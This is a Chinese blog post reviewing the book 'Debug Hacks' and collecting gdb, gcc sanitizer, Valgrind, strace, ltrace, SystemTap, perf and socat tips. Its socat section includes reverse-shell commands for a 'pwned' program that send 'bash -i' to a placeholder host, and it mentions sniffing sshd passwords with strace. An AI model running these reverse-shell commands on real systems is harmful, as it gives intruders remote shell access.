博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
《Debug Hacks》和调试技巧
阅读量:4039 次
发布时间:2019-05-24

本文共 46040 字,大约阅读时间需要 153 分钟。

Debug Hacks

作者为吉冈弘隆、大和一洋、大岩尚宏、安部东洋、吉田俊辅,有中文版《Debug Hacks中文版—深入调试的技术和工具》。这本书涉及了很多调试技巧,对调试器使用、内核调试方法、常见错误的原因,还介绍了systemtapstraceltrace等一大堆工具,非常值得一读。

话说我听说过的各程序设计课程似乎都没有强调过调试的重要性,把调试当作单独一节课来上(就算有估计也上不好),很多人都只会printf调试法,breakpoint都很少用,就不提conditional breakpoint、watchpoint、reverse execution之类的了。也看到过很多同学在调试上浪费了很长很长的时间。

下面是篇review,也包含了一些我自己整理的一些调试技巧。

折腾工具

继续牢骚几句,我接触过的人当中感觉最执着与折腾工具的人只有两个,和,他们是少有的能把折腾工具当作正经工作来做的人。

很久以前我还会到处在网上搜索好的实用工具,尤其是那些CLI程序,比如renameutilsxselrecodethe_silver_searcher,查阅文档定制自己的配置文件。但这么做花费的时间太多。后来就想我可以搜索一些善于折腾的人的配置文件,关注他们修改了哪些地方,我的配置只要取众家之所长就可以了。

先厚颜自荐一下。下面的用户列表就是我找到的在GitHub上把dotfiles配置地井井有条的人(如果GitHub支持按照项目的大小排序,列表搜集就能省很多麻烦了):

1
alejandrogomez bhj craigbarnes dotvim hamaco joedicastro laurentb ok100 pyx roylez sjl trapd00r vodik w0ng

有了上述的dotfiles,其他人的dotfiles大多都不愿看了。但是五岳归来不看山,黄山归来不看岳,ppwwyyxx的感觉与之前诸位相比更胜一筹。

无关的话到此结束,下面是正文:

gdb

记录历史

把下面几行添加到~/.gdbinit中吧,gdb启动时会自动读取里面的命令并执行:

1     
2
3
set       
history save
on
set
history size
10000
set
history filename ~/.
history/gdb

我习惯在~/.history堆放各个历史文件。有了历史,使用readlinereverse-search-history (C-r)就能轻松唤起之前输入过的命令。

修改任意内存地址的值

1
set {      
int}
0x83040 =
4

显示intel风格的汇编指令

1
set disassembly-flavor intel

断点在function prologue前

先说一下function prologue吧,每个函数最前面一般有三四行指令用来保存旧的帧指针(rbp),并腾出一部分栈空间(通常用于储存局部变量、为当前函数调用其他函数腾出空间存放参数,有时候还会存储字面字符串,当有nested function时也会用于保存当前的栈指针)。

在x86-64环境下典型的funcition prologue长成这样:

1     
2
3
push       
rbp
mov
rbp,
rsp
sub
rsp,
0x10

可能还会有and指令用于对齐rsp。如果编译时加上-fomit-frame-pointer(Visual Studio中文版似乎译作“省略框架指针”),那么生成的指令就会避免使用rbp,function prologue就会简化成下面一行:

1
sub       
rsp,
0x10

设置断点时如果使用了b *func的格式,也就是说在函数名前加上*gdb就会在执行function prologue前停下,而b func则是在执行function prologue后停下。参考下面的会话:

1     
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
% gdb a.out     
Reading symbols from /tmp/a.out..
.done.
(gdb) b *main
Breakpoint
1
at
0x4005cc: file a.c, line
4.
(gdb) r
Starting program: /tmp/a.out
warning: Could
not load shared library symbols for linux-vdso.so
.1.
Do you need
"set solib-search-path"
or
"set sysroot"?
Breakpoint
1, main ()
at a.c:
4
4 {
(gdb) disas
Dump of assembler code for function main:
=>
0x00000000004005cc <+
0>:
push
rbp
0x00000000004005cd <+
1>:
mov
rbp,
rsp
0x00000000004005d0 <+
4>:
sub
rsp,
0x10
0x00000000004005d4 <+
8>:
mov
DWORD
PTR [
rbp-
0x4],
0x0
0x00000000004005db <+
15>:
mov
eax,
DWORD
PTR [
rbp-
0x4]
0x00000000004005de <+
18>:
mov
esi,
eax
0x00000000004005e0 <+
20>:
mov
edi,
0x4006ec
0x00000000004005e5 <+
25>:
mov
eax,
0x0
0x00000000004005ea <+
30>:
call
0x400454
0x00000000004005ef <+
35>:
leave
0x00000000004005f0 <+
36>:
ret
End of assembler dump.
(gdb)

Checkpoint

gdb可以为被调试的程序创建一个快照,即保存程序运行时的状态,等待以后恢复。这个是非常方便的一个功能,特别适合需要探测接下来会发生什么但又不想离开当前状态时使用。

ch是创建快照,d c ID是删除指定编号的快照,i ch是查看所有快照,restart ID是切换到指定编号的快照,详细说明可以在shell里键入info '(gdb) Checkpoint/Restart'查看。

1     
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
% gdb ./a.      
out
Reading symbols from /tmp/a.
out...done.
(gdb) b
6
Breakpoint
1 at
0x4005db:
file a.c, line
6.
(gdb) r
Starting program: /tmp/a.
out
warning: Could
not load
shared
library symbols
for linux-vdso.so
.1.
Do you need
"set solib-search-path"
or
"set sysroot"?
Breakpoint
1, main () at a.c:
6
6 printf(
"%d\n", a);
(gdb) ch
checkpoint: fork returned pid
6420.
(gdb) p a=
3
$
1 =
3
(gdb) i ch
1
process
6420 at
0x4005db,
file a.c, line
6
*
0
process
6416 (main
process) at
0x4005db,
file a.c, line
6
(gdb) restart
1
Switching
to
process
6420
#
0 main () at a.c:
6
6 printf(
"%d\n", a);
(gdb) c
Continuing.
0
[Inferior
1 (
process
6420) exited
with code
02]
[Switching
to
process
6416]
(gdb)

上面的会话中先用ch创建了一个快照,紧接着a被修改为了3,随后用restart 1恢复到编号为1的快照,继续运行程序可以发现a仍然为原来的值0。

以色列的Haifa Linux club有一次讲座讲gdb,讲稿值得一看:

逆向技术

Long Le的很不错,感觉比的好用。

gcc

Mudflap

使用了compile-time instrumentation(CTI)的工具。编译时加上-fmudflap -lmudflap选项即可,会在很多不安全代码生成的指令前加上判断合法性的指令。

1     
2
3
4
5
6
7
8
9
10
11
12
13
% echo 'int main() { int z[      
1]; z[
1] =
2; }' | cc -xc - -fmudflap -lmudflap
% ./a.out
*******
mudflap violation
1 (check/write):
time=
1376473424.792953
ptr=
0x7fff2cde3150
size=
8
pc=
0x7fa2bacf86f1
location=`
:
1:
29 (main)'
/usr/lib/gcc/x86_64-pc-linux-gnu/
4.7.
3/libmudflap.so.
0(__mf_check+
0x41) [
0x7fa2bacf86f1]
./a.out(main+
0x8f) [
0x400b6b]
/lib64/libc.so.
6(__libc_start_main+
0xf5) [
0x7fa2ba968c35]
Nearby object
1: checked region begins
0B into
and ends
4B after
mudflap object
0x7070e0:
name=`
:
1:
18 (main) z'
bounds=[
0x7fff2cde3150,
0x7fff2cde3153]
size=
4
area=stack
check=
0r/
3w
liveness=
3
alloc
time=
1376473424.792946
pc=
0x7fa2bacf7de1
number of nearby objects:
1

第一行用-xc -cc从标准输入读源代码,并当作C来编译。接来下执行./a.out,可以看到运行时程序报错了。

使用MUDFLAP_OPTIONS环境变量可以控制Mudflap的运行期行为,具体参见。

AddressSanitizer

和Mudflap类似的工具,clanggcc可以加上选项-fsanitize=address使用,比如:

1
clang -fsanitize=address a.c

如果想在出错的地方断点停下来,可以用gdb打开,输入b __asan_report_store1回车,再输入r回车运行程序。

-ftrapv

这个选项是调试有符号整型溢出问题的利器。在i386环境下,gcc会把int32_t运算编译成call __addvsi3__addvsi3函数会在运行时检查32位有符号加法运算是否产生溢出,如果是则调用abort函数中止程序。减法、乘法和取反运算也有类似的运行时函数检查溢出,另外也有64位版本的__addvdi3等函数。但不存在对无符号整型的溢出检测函数。比如下面这些代码均会触发trap:

1     
2
3
4
int a = INT_MAX; a++;     
int b = INT_MIN; b--;
int c = INT_MAX; c *=
2;
int d = INT_MIN; d = -d;

这段代码来自gcc项目目录的libgcc/libgcc2.c

1     
2
3
4
5
6
7
8
9
10
11
#ifdef L_subvsi3     
Wtype
__subvSI3 (Wtype a, Wtype b)
{
const Wtype w = (UWtype) a - (UWtype) b;
if (b >=
0 ? w > a : w < a)
abort ();
return w;
}

但注意在x86-64环境下-ftrapv只检查64位溢出。考虑下面这段代码:

1     
2
3
4
5
6
7
8
9
10
11
12
13
#include 
#include
int main()
{
int a = INT_MAX;
a++;
puts(
"barrier");
long b = LONG_MAX;
b++;
}

在x86-64下用gcc编译运行,输出barrier后才会执行abort使程序中止,因为int32_t的溢出不会触发trap。

clang也有-ftrapv,在x86-64环境下对于int32_t的溢出也能触发trap。

_FORTIFY_SOURCE

getsstrcpy这类函数容易造成stack mashing。gcc编译时如果指定了-D_FORTIFY_SOURCE=1,生成的汇编程序中这些不安全的函数调用会被替代为libc.so中名字类似__gets_chk的一类安全函数,会在运行期检查是否产生了缓冲区溢出。比如,下面的代码会在运行时报错:

1     
2
3
4
5
6
7
#include 
int main()
{
char a[
2];
strcpy(a,
"meow");
}

Gentoo Portage从gcc-4.3.3-r1开始默认开启_FORTIFY_SOURCE标志了,好多发行版都开启了,测试发现Arch Linux的gcc似乎没有。shell里执行下面代码就可以看到Gentoo里是怎么定义_FORTIFY_SOURCE的了:

1
echo       
-e
'#undef __OPTIMIZE__\nmain() { printf("%d\\n", _FORTIFY_SOURCE); }' | cpp

也就是当优化等级在-O1或以上时_FORTIFY_SOURCE会生效,名字为__$func_chk模式的函数会被使用。这种做法造成了一些麻烦,比如suricata git tree里的src/suricata.c使用了#ifdef _FORTIFY_SOURCE,会造成编译无法通过。

-fstack-protector

-fstack-protector -fstack-protector-all gcc 4.8.1 -fstack-protector-strong

https://securityblog.redhat.com/2013/10/23/debugging-stack-protector-failures/

开启Stack-Smashing Protector (SSP)。我的理解是在储存的帧指针(rbp)前写入一个magic number,函数返回的时候检查下这个magic number是否被改动,如果是就可能产生stack smashing了。这个方法的footprint最小,但是保护力度也比较弱。

IA32

function prologue 80484c0: 65 a1 14 00 00 00 mov eax,gs:0x14 80484c6: 89 45 f4 mov DWORD PTR [ebp-0xc],eax

function epilogue 80484d7: 8b 45 f4 mov eax,DWORD PTR [ebp-0xc] 80484da: 65 33 05 14 00 00 00 xor eax,DWORD PTR gs:0x14 80484e1: 74 05 je 80484e8 80484e3: e8 68 fe ff ff call 8048350 80484e8: c9 leave 80484e9: c3 ret

x86-64

function prologue:

4005c9: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28 4005d0: 00 00 4005d2: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax

function epilogue

400618: 64 48 33 04 25 28 00 xor rax,QWORD PTR fs:0x28 40061f: 00 00 400621: 74 05 je 400628 400623: e8 88 fe ff ff call 4004b0 400628: 48 83 c4 78 add rsp,0x78 40062c: c3 ret

execinfo.h

提供了int backtrace (void **buffer, int size)char ** backtrace_symbols (void *const *buffer, int size)在程序运行时查看函数调用栈。参见。

Misc

Valgrind

一系列调试和profiling工具的套件,其中的Memcheck是一个使用了dynamic binary instrumentation(DBI)的工具, 在程序指令间插入自己的指令检查validity和addressablity。另外Memcheck替换了标准的malloc,这样就可以检测出off-by-one error、double free、内存泄漏等许多问题。

Memcheck引入的footprint极小,无需重编译程序,也没有繁琐的配置。比如原来是用./a.out执行程序,需要Memcheck时就换成valgrind ./a.out

在程序访问某一内存地址时Memcheck会检查是否有越界之类的错误,Memcheck能诊断出大量但不是全部的访问错误,比如下面这样有问题的代码就没法检查出来:

1     
2
3
4
5
int main()     
{
int a[
1];
a[
1992] =
12;
}

因为a[1992]的地址在栈上,允许访问。

Valgrind启动时会读取~/.valgrindrc,对于memcheck我配置了下面这几行:

1     
2
3
4
5
6
7
8
-      
-memcheck:leak-check=yes
-
-memcheck:show-possibly-lost=yes
-
-memcheck:show-reachable=yes
-
-memcheck:track-origins=yes
-
-memcheck:dsymutil=yes
-
-memcheck:track-fds=yes
-
-memcheck:track-origins=yes
-
-memcheck:gen-suppressions=all

valgrind --vgdb-error=0 --vgdb=yes很强大,可以在进程遇到错误时让gdb调试。

strace

记录程序执行的系统调用和收到的信号,和valgrind类似,使用非常简单:

1
strace ./a.out

有一些选项可以attach到现有进程上去(-p)、记录时刻(-t)、统计系统调用使用次数(-c)、过滤特定的系统调用(-e)等。

带上-c选项可以统计系统调用的使用次数:

1     
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
%       
strace
-
c
ls
chap04
chap05
chap06
chap07
chap08
chap09
chap10
chap11
chap12
chap13
chap14
chap15
chap16
chap17
%
time
seconds
usecs/call
calls
errors
syscall
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
0
.
00
0
.
000000
0
5
read
0
.
00
0
.
000000
0
1
write
0
.
00
0
.
000000
0
7
open
0
.
00
0
.
000000
0
10
close
0
.
00
0
.
000000
0
8
fstat
0
.
00
0
.
000000
0
20
mmap
0
.
00
0
.
000000
0
12
mprotect
0
.
00
0
.
000000
0
2
munmap
0
.
00
0
.
000000
0
3
brk
0
.
00
0
.
000000
0
2
rt_sigaction
0
.
00
0
.
000000
0
1
rt_sigprocmask
0
.
00
0
.
000000
0
2
ioctl
0
.
00
0
.
000000
0
1
1
access
0
.
00
0
.
000000
0
1
execve
0
.
00
0
.
000000
0
1
fcntl
0
.
00
0
.
000000
0
2
getdents
0
.
00
0
.
000000
0
1
getrlimit
0
.
00
0
.
000000
0
1
arch_prctl
0
.
00
0
.
000000
0
2
1
futex
0
.
00
0
.
000000
0
1
set_tid_address
0
.
00
0
.
000000
0
1
openat
0
.
00
0
.
000000
0
1
set_robust_list
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
100
.
00
0
.
000000
85
2
total

-e选项只跟踪指定系统调用:

1     
2
3
4
5
6
7
8
9
10
11
12
13
14
15
% strace -e read,open ls     
open(
"/etc/ld.so.cache",
O_RDONLY|
O_CLOEXEC) =
3
open(
"/lib64/librt.so.1",
O_RDONLY|
O_CLOEXEC) =
3
read(
3,
"\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\220(\0\0\0\0\0\0"...,
832) =
832
open(
"/lib64/libacl.so.1",
O_RDONLY|
O_CLOEXEC) =
3
read(
3,
"\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\320#\0\0\0\0\0\0"...,
832) =
832
open(
"/lib64/libc.so.6",
O_RDONLY|
O_CLOEXEC) =
3
read(
3,
"\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0@M\2\0\0\0\0\0"...,
832) =
832
open(
"/lib64/libpthread.so.0",
O_RDONLY|
O_CLOEXEC) =
3
read(
3,
"\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0@}\0\0\0\0\0\0"...,
832) =
832
open(
"/lib64/libattr.so.1",
O_RDONLY|
O_CLOEXEC) =
3
read(
3,
"\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0`\25\0\0\0\0\0\0"...,
832) =
832
open(
"/usr/lib64/locale/locale-archive",
O_RDONLY|
O_CLOEXEC) =
3
chap04 chap05 chap06 chap07 chap08 chap09 chap10 chap11 chap12 chap13 chap14 chap15 chap16 chap17
+++ exited
with
0 +++

使用strace还可以做一些很可怕的事,比如有root权限的情况下嗅探sshd以得到其他尝试SSH登录的用户的密码:。

-p很有用,比如调试CGI wrapperfcgiwrap,观察它的输出:

1
strace       
-s200 -p$(pidof
-s fcgiwrap)
-e write

ltrace

记录程序调用的动态库中的函数。名字和strace很像,使用方式和很多命令行选项也如出一辙。

查看echo test

1     
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
% ltrace echo       
test
__libc_start_main(
0x401590,
2,
0x7fff2bb3d4d8,
0x403ef0
getenv(
"POSIXLY_CORRECT") = nil
strrchr(
"echo",
'/') = nil
setlocale(LC_ALL,
"") =
"en_US.UTF-8"
bindtextdomain(
"coreutils",
"/usr/share/locale") =
"/usr/share/locale"
textdomain(
"coreutils") =
"coreutils"
__cxa_atexit(
0x401cf8,
0,
0,
0x736c6974756572) =
0
strcmp(
"test",
"--help") =
71
strcmp(
"test",
"--version") =
71
fputs_unlocked(
0x7fff2bb3f1d3,
0x7f50af982160,
0,
45) =
1
putchar_unlocked(
10,
116,
0x7f50afba6004, 0xfbad2a84test
) =
10
exit(
0
__fpending(
0x7f50af982160,
0,
4,
0x7f50af982cf0) =
0
ferror_unlocked(
0x7f50af982160,
0,
4,
0x7f50af982cf0) =
0
fileno(
0x7f50af982160) =
1
__freading(
0x7f50af982160,
0,
4,
0x7f50af982cf0) =
0
__freading(
0x7f50af982160,
0,
2052,
0x7f50af982cf0) =
0
fflush(
0x7f50af982160) =
0
fclose(
0x7f50af982160) =
0
__fpending(
0x7f50af982080,
0,
0,
0) =
0
ferror_unlocked(
0x7f50af982080,
0,
0,
0) =
0
fileno(
0x7f50af982080) =
2
__freading(
0x7f50af982080,
0,
0,
0) =
0
__freading(
0x7f50af982080,
0,
4,
0) =
0
fflush(
0x7f50af982080) =
0
fclose(
0x7f50af982080) =
0
+++ exited (status
0) +++

描述了ltrace的实现机制。

SystemTap

SystemTap提供了一套底层工具用于trace/probe。用户编写SystemTap script语言的程序,SystemTap将其翻译为C代码,再编译成临时的内核模块。内核模块加载时SystemTap script脚本里的hook就会在特定event发生时执行。当SystemTap脚本停止运行时,相应的hook就被删除,移除临时的内核模块。这一整套流程都是通过一个简单的CLI程序stap驱动的。

SystemTap使用前的配置过程比较复杂,需要特制的内核,开启CONFIG_KPROBES=yCONFIG_DEBUG_INFO=y等诸多内核编译选项。

比如如下的简单脚本就能显示各进程调用net/socket.c内函数的情况:

1     
2
3
4
5
6
probe kernel.function(      
"*@net/socket.c").call {
printf (
"%s -> %s\n", thread_indent(
1), ppfunc())
}
probe kernel.function(
"*@net/socket.c").
return {
printf (
"%s <- %s\n", thread_indent(-
1), ppfunc())
}

perf

1     
2
3
4
perf record       
-e probe_a:main
-e probe_a:main_1 /home/ray/tmp/a
perf annotate
sudo perf probe -x ~/tmp/a
'main%return %ip %sp'
sudo perf record
-e probe_a:main
-e probe_a:main_1 /home/ray/tmp/a &&
sudo perf script

可执行文件不能在tmpfs分区。

1
A=~/tmp; cc -xc <(      
echo
'main(){}') -Wl,-rpath,
$A -o a &&
sudo perf probe
-d
'*' || :;
sudo perf probe -x
$A/libc.so.
6 malloc &&
sudo perf record
-e probe_libc:malloc
-aR ./a &&
sudo perf report -n

其他

书里还介绍了很多神奇的玩意儿,比如kaho,用于读取被编译器优化掉的变量;livepatch,运行时动态修改变量、替换函数等。这两个工具我在网上检索了下,感觉是个proof of concept的东西,也没有更新了。不够这些思路很奇特,想到了并试图去解决调试时常受困扰的问题,很棒。

CFLAGS使用-g3

对于重度使用macro的程序很有用,可以在gdb里使用info macro NAMEmacro expand EXPR等命令了,print参数里的macro也可以展开。

rr

参见,调试时最痛苦的莫过于难于重现,rr可以把不确定的外部影响固定下来。它的初衷是用来调Firefox的,由此可见它的可用性……幻灯片介绍了很多内部机理,值得一看。

gdb -p不可用: ptrace: Operation not permitted.

gdb无法attach到用户相同的另一个进程上。Arch Linux、Ubuntu等很多发行版的内核默认设置了kernel.yama.ptrace_scope,参见,即不具有CAP_SYS_PTRACE capability的进程只能ptrace它的后裔进程(子、孙、玄孙、来孙、晜孙、仍孙、云孙、耳孙等)。不特别在乎安全性的话,可以执行sudo sysctl kernel.yama.ptrace_scope=0

收到SIGINT(或其他信号)后立刻用gdb调试自己

设想是fork产生一个新进程并停下来,原进程exec成gdb并attach调试新进程。注意:新进程应设置以创建新的进程组,不然gdb按数次continue后自身也会被stop,gdb所在终端将丢失前台进程组。这里我不太清楚gdb被stop的具体原因,但进程组经常作为一个整体和信号、终端等概念相互关联,可能是这方面的原因。

这里SIGINT可以考虑换成SIGFPESIGSEGV等,以防止进程死亡,用gdb交互式检视各个变量的值等以便于差错。

1     
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include 
#include
#include
#include
#include
 
void sigint(
int)
{
pid_t pid = fork();
if (pid == -
1)
abort();
else
if (pid) {
char s[
13];
sprintf(s,
"%d", pid);
execlp(
"gdb",
"gdb",
"-p", s, NULL);
}
else {
setpgid(
0, getpid());
kill(getpid(), SIGSTOP);
}
}
 
int main()
{
signal(SIGINT, sigint);
sleep(
1337);
puts(
"seen after gdb");
sleep(
1337);
}

调试使用终端特性的程序

对于ncurses这类使用终端特性的程序,在gdb下调试时,gdb交互的终端也会被程序使用,程序可能执行屏幕擦除、移动光标等操作,和gdb交互的输出混杂在一起,产生干扰。解决方案是使用gdb的tty命令(文档见info '(gdb) Input/Output')。下面以rlwrap rev为例说明调试方法。

使用coreutils中的tty命令(并非gdb的tty命令)获得当前终端的名称,如/dev/pts/13,然后创建新shell会话,假设终端名是/dev/pts/14,将用作被调试程序的标准输入、输出、出错。在这个新终端里执行sleep 9999(如果不执行这条命令的话,/dev/pts/14的前台进程组是shell,会抢夺终端输入,而sleep不会读取终端输入,因此不会和被调试程序竞争)。

然后回到原来的shell会话(/dev/pts/13),用gdb调试程序:

1     
2
3
% gdb -tty /dev/      
pts/
14 --
args rlwrap rev
Reading symbols from rlwrap...(
no debugging symbols found)...done.
(gdb)
r

之后即可在/dev/pts/14和被调试程序交互了。或者用命令tty /dev/pts/14替代命令行选项-tty

注意,此时被调试程序的标准输入、输出、出错均为/dev/pts/14,但没有控制终端(controlling terminal),并且能在/dev/pts/14看到gdb的警报:warning: GDB: Failed to set controlling terminal: Operation not permitted。用strace调试gdb可以看到ioctl(3, TIOCSCTTY, 0) = -1 EPERM (Operation not permitted),即gdb尝试把/dev/pts/14设为被调试进程的控制进程,但失败了。原因是/dev/pts/14上还有shell和sleep 9999以它为控制终端,无法抢夺。不过多数情况用不着控制终端提供的一些功能。

参见。

socat

把不同输入输出端对接的瑞士军刀,是nc的进化型,支持非常多的网络协议、文件等IO方式。

下面演示如何把一个程序的输入和输出分别接到监听的某个socket的输出和输入上。

对弈的gnuchess

创建black.sh

1     
2
#!/bin/zsh     
{
echo depth
0; cat;
echo
exit;} | gnuchess
-e | stdbuf -o0 grep
-aPo
'(?<=My move is : )\S+'

socat启动TCP服务端:socat tcp-l:4444,reuseaddr exec:./black.sh

创建white.sh

1     
2
#!/bin/zsh     
{
echo depth
0;
echo go; cat;
echo
exit;} | gnuchess
-e | tee /tmp/output | stdbuf -o0 grep
-aPo
'(?<=My move is : )\S+'

socat启动TCP客户端:socat tcp:0:4444,reuseaddr exec:./white.sh。之后即可在/tmp/output看到两个gnuchess进程的对局。执行gnuchess,输入depth 0后可以限制它的搜索深度(加快运行速度),输入go可以让它走一步。

写到此处,忽然想到之前NOI 2010团体对抗赛时,不了解这些东西的用法,浪费了很大工夫。

输入输出到终端的reverse shell

通常用system("sh")等方式搞的shell都不是interactive shell,没有提示符,也无法用readline的快捷键,不方便。下面介绍产生interactive shell的方法:

本地监听9999端口,等远端被pwn的程序连接:

1     
2
socat stdio,raw,      
echo=
0 tcp
-l:
9999
# 或者使用stty -echo raw; nc -l 9999; stty echo -raw

远端执行:

1
socat tcp:      
0:
9999
exec:
'bash -i',pty,stderr
# 0应填之前监听9999端口的机器的IP

当然远端很可能没有socat,可以用util-linux包中的script

1
script -qc       
'bash -i' /dev/null &>/dev/tcp/
0/
9999 <&
1
# 使用了bash创建socket的功能

pstack

打印指定进程的系统栈。

本质是一段脚本,核心是下面这句话:

1     
2
#!/bin/zsh     
gdb -q -nx -p
$1 <<<
't a a bt'
2>&- | sed
-ne
'/^#/p'

你应该把它保存到你的工具集里。新的gdb支持对单线程进程使用thread apply all bt了。

1     
2
3
4
5
6
7
8
9
10
11
12
% pstack $$     
#0
0x00007fc00a3a6866
in sigsuspend ()
from /usr/lib/libc.so.
6
#1
0x0000000000471906
in signal_suspend ()
#2
0x0000000000442d56
in ?? ()
#3
0x0000000000443437
in waitjobs ()
#4
0x0000000000429b4b
in ?? ()
#5
0x000000000042a6e1
in execlist ()
#6
0x000000000042a970
in execode ()
#7
0x000000000043c1dc
in
loop ()
#8
0x000000000043f30e
in zsh_main ()
#9
0x00007fc00a393800
in __libc_start_main ()
from /usr/lib/libc.so.
6
#10
0x000000000041013e
in _start ()

安装新的gdb

gdb和gcc有一定的版本适配性,有些恶劣的工作环境需要自己编译安装gdb,下面只是我折腾C++ STL查看器的注记。

1
./configure --prefix=~/.local/stow/gdb --with-gdb-datadir=/usr/share/gcc-      
4.9/python

~/.gdbinit里添加:

1     
2
3
4
5
6
python     
import sys
sys.path.append(
'/usr/share/gcc-4.9/python')
from libstdcxx.v6.printers
import register_libstdcxx_printers
register_libstdcxx_printers(
None)
end

没有源码的环境调试

用sshfs或其他文件共享手段从其他机器上挂载源码目录,使用directory命令设置源码查找目录。另外还有set substitute-path,参见info '(gdb) Source Path'

MongoDB resource limits动态设置调试记

MongoDB使用mmap映射数据文件及分配内存,把内存管理的任务交给操作系统,造成内存使用量无法控制。我误以为resource limits中的RLIMIT_AS可以限制虚拟内存使用, 就在启动mongod前执行ulimit -v $[512*1024],效果是之后所有在shell里启动的新进程的虚拟内存都不能超过512MiB。

在测试写入性能时,发现过了很长时间也没有把所有测试数据插入成功。后查看日志发现这些记录:

1     
2
2015-      
03-
13T20:
20:
18.558+
0800 [conn1] ERROR: mmap
private failed
with out
of memory. (
64 bit build)
2015-
03-
13T20:
20:
18.558+
0800 [conn1] Assertion:
13636:
file /tmp/db/test
.2
open/
create failed
in createPrivateMap (look
in
log
for more information)

大概每5秒钟会产生一段错误记录,估计和mmap有关。使用strace查看mongod及其所有子进程(包括当前和未来创建的)的mmap系统调用:strace -fe mmap -p $(pgrep -n mongod),产生大量重复的输出:

1     
2
[pid       
31551] mmap(
NULL,
67108864, PROT_READ|PROT_WRITE, MAP_SHARED,
17,
0) =
0x7f2e58716000
[pid
31551] mmap(
NULL,
67108864, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_NORESERVE,
17,
0) = -
1 ENOMEM (Cannot allocate memory)

即以两个mmap为单元,不断输出这两行,注意到mmap(2)参数中的文件描述符fd,再列示已有的文件描述符ls -l /proc/$(pgrep -n mongod)/fd/。猜测这两个mmap都和数据文件(test.0test.1等)有关。后来再用pmap -p $(pgrep -n mongod)列示已映射的地址空间,发现与0x7f2e58716000(第一次执行的mmap的返回值)地址相近的都是些数据文件,印证了猜测。后来看/proc下该进程的相关信息,发现/proc/$(pgrep -n mongod)/limits列示的Max address space不正常,终于想到是先前ulimit -v限制了地址空间大小,导致了这个问题。之后有两个解决办法,一是关闭mongod,修改resource limits后重启,二是动态修改resource limits。为了好玩,自然选第二个。先要找出RLIMIT_AS的数值:ag RLIMIT_AS /usr/include/bits,发现是9,之后用gdb attach到mongod上修改resource limits:

1     
2
3
4
5
6
7
$ gdb -p $(pgrep -n mongod)     
(gdb)
set
$r = &{
0ll,
0ll}
(gdb) p getrlimit(
9,
$r)
$1 =
0
(gdb)
set (*
$r)[
0]=-
1
# struct rlimit { rlim_t rlim_cur; rlim_t rlim_max; } 要修改的项是rlim_cur
(gdb) p setrlimit(
9,
$r)
$1 =
0

成功修改了resource limits!之后日志中果然出现了数据文件新建成功的信息,不再有mmap的错误了。

转载地址:http://gandi.baihongyu.com/

你可能感兴趣的文章
Nginx配置文件(nginx.conf)配置详解
查看>>
标记一下
查看>>
IP报文格式学习笔记
查看>>
autohotkey快捷键显示隐藏文件和文件扩展名
查看>>
Linux中的进程
查看>>
学习python(1)——环境与常识
查看>>
学习设计模式(3)——单例模式和类的成员函数中的静态变量的作用域
查看>>
自然计算时间复杂度杂谈
查看>>
当前主要目标和工作
查看>>
使用 Springboot 对 Kettle 进行调度开发
查看>>
如何优雅的编程,lombok你怎么这么好用
查看>>
一文看清HBase的使用场景
查看>>
解析zookeeper的工作流程
查看>>
搞定Java面试中的数据结构问题
查看>>
慢慢欣赏linux make uImage流程
查看>>
linux内核学习(7)脱胎换骨解压缩的内核
查看>>
以太网基础知识
查看>>
慢慢欣赏linux 内核模块引用
查看>>
kprobe学习
查看>>
慢慢欣赏linux phy驱动初始化2
查看>>